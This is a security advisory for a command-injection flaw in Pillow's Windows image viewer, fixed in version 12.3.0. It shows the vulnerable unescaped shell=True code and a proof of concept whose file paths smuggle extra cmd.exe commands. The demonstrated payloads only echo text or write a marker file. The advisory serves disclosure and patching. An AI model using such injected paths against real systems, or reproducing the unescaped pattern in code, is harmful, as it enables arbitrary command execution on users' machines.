GitHub Advisoryadvisory · PyPI

GHSA-4x4j-2g7c-83w6 Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

MEDIUM Published 2026-07-20 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-55798
Ecosystem
PyPI
Packages
Pillow
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Weaknesses
CWE-78
Reviewed
2026-07-20

Affected packages

• PyPI Pillow: < 12.3.0 → fixed in 12.3.0

Description

1. Summary `WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a file path into an f-string without escaping. The result is passed to `subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path — most importantly a double-quote (`"`) that breaks out of the wrapping, followed by `&` — allow injection of arbitrary `cmd.exe` commands. The macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter. The Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this protection, despite `shlex.quote` being already imported on line 21 of `ImageShow.py`. --- 2. Vulnerable Code File: `src/PIL/ImageShow.py`, lines 133–150 ```python class WindowsViewer(Viewer): format = "PNG" options = {"compress_level": 1, "save_all": True} def get_command(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again ) def show_file(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.get_command(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATE_NO_WINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1 ``` Contrast with macOS — SAFE (line 164–168): ```python class MacViewer(Viewer): def get_command(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied ``` Cross-platform summary: | Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | `MacViewer` | Yes (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | Yes (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| No (line 134–137) | Yes (line 148) | ❌ No | `shlex.quote` is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice. --- 3. Proof of Concept A full working PoC is at `poc_pillow_injection.py`. Key parts: Part A — Injection string construction (static, no execution): ```python from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() evil_path = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.get_command(evil_path) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues ``` Part B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1): ```python import os, tempfile from PIL.ImageShow import WindowsViewer viewer = WindowsViewer() poc_dir = tempfile.mkdtemp() marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt") Craft injection: payload writes a marker file (harmless) payload = f'echo REAL_INJECTED > "{marker}"' evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "') Call the REAL Pillow get_command(): real_cmd = viewer.get_command(evil_path) Execute the same way the base Viewer.show_file() does (os.system): os.system(real_cmd) assert os.path.exists(marker) # PASSES — marker was created assert "REAL_INJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via get_command() ``` ---

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References